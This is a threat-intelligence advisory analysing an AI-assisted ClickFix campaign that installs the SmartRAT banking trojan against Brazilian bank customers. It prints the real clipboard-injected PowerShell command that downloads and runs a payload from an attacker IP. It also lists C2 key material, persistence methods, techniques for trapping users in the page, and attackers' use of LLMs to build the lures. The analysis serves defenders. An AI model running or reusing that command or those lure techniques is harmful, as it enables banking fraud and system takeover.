AI-Generated ClickFix Campaign Delivers SmartRAT/Banana RAT PowerShell Banking Trojan Targeting Brazilian Financial Sector — Threadlinqs Intelligence
As of 2026-06-17, AI-Generated ClickFix Campaign Delivers SmartRAT/Banana RAT PowerShell Banking Trojan Targeting Brazilian Financial Sector is a high-severity malware threat attributed to SHADOW-WATER-063 (BR), tracked by Threadlinqs Intelligence with 9 detection rules (Splunk SPL, Microsoft KQL, Sigma) and 29 indicators of compromise.
Threat ID: TL-2026-0841 · Severity: HIGH · Status: ACTIVE · Category: MALWARE
Attribution: SHADOW-WATER-063 · BR · FINANCIAL
A financially motivated actor (tracked by Trend Micro as SHADOW-WATER-063) used AI-built typosquatting sites impersonating Brazilian banks and a ClickFix lure (fake Cloudflare CAPTCHA followed by a
Zscaler ThreatLabz and Trend Micro independently documented an active banking-fraud campaign against the Brazilian financial sector first observed in March 2026. Threat actors leveraged AI website-building tools to rapidly stand up convincing typosquatting domains (e.g. cartaobb.com impersonating Banco do Brasil's Cartao BB, crefisa.online, vfsgloball.net). Source-code artifacts — templated AI-style section-header comments and a C2 panel containing verbose explanatory comments and emoticons — indicate large-language-model assistance in both the lure pages and the operator backend.
The delivery uses the ClickFix social-engineering technique. A victim landing on the AI-generated page is shown a fake Cloudflare CAPTCHA on a page that disables DevTools and clears the console. Clicking the CAPTCHA forces the browser fullscreen and renders a fake Windows BSOD/system-recovery prompt. Anti-escape logic (navigator.keyboard.lock(), capture-phase keydown handlers, and window.focus() loops) traps the user while still permitting Win+R, Ctrl+V, and Enter. A PowerShell one-liner is silently placed on the clipboard: powershell "$k8='http://64.95.13.238/st.txt';iex(irm $k8)" with randomized trailing whitespace to defeat hash-based blocking.
Execution retrieves st.txt, which hides its console via ShowWindow(), downloads payload.php from the same host, saves it under the decoy name msedge.txt, and runs it via ScriptBlock::Create(). payload.php Base64-decodes a hardcoded AES key/IV and performs AES-CBC decryption of an embedded blob to reconstruct SmartRAT (identified by the embedded string SMART_V25), which then XOR-decrypts its C2 configuration. The Trend Micro reporting describes a FastAPI-based polymorphic crypter generating 100-200 hash-unique builds per campaign and nine custom PowerShell obfuscation layers.
SmartRAT establishes persistence as MicrosoftEdgeUpdateCore across three privilege paths: a logon-triggered Scheduled Task pointing at %APPDATA%\Microsoft\Diagnosis\ETW\msedgeupdate.txt (UAC success), an HKCU Run key fallback (UAC denied), and a SYSTEM-level Windows Service compiled in-memory via csc.exe and launched with DuplicateTokenEx / CreateProcessAsUser (elevated). A watchdog respawns every 5 seconds. C2 uses raw TCP on port 51888 plus HTTP (port 80) and TLS (port 443) channels, with AES-CBC (key = SHA-256 of master key iuhbdaubdvauygd5562$3@##$r, HMAC-SHA256 integrity, fresh per-message IV in ivHex:ciphertextHex format) and a binary message-framing protocol. The RAT delivers real-time screen streaming, operator input control, banking-aware overlay injection, QR/PIX transaction tampering, and keylogging, watching window titles for Santander, Bradesco, Itau, Caixa, Banco do Brasil, Nubank, Inter, C6 Bank, Safra, BTG, Sicoob, Sicredi, Mercado Pago, PicPay, PagSeguro, PayPal, Binance, and Mercado Bitcoin.
Weaknesses (CWE)
CWE-1021, CWE-506, CWE-829
Target sectors: financial, banking, payments, cryptocurrency
Target regions: Brazil, South America, Latin America
Detections & IOCs
As of 2026-07-28, this threat has 9 detection rule(s) across Splunk SPL, Microsoft KQL and Sigma, and 29 indicator(s) of compromise. Detection query text and full IOC values are available to authenticated users and programmatically via the Threadlinqs MCP server (Purple tier). View plans.
Community OSINT corroboration
3 of this threat's indicators have also been reported by the open-source security community, which observed at least one of them before this report was published. Community sightings are unverified and are kept separate from Threadlinqs' curated indicators. Indicator values, reporters and campaign linkage are available to authenticated Red-tier users.
MALWARE, HIGH, threat intelligence, cybersecurity, T1566, T1566.002, T1189, T1204.001, T1059.001, T1569.002, T1543.003, T1053.005, T1547.001, T1548.002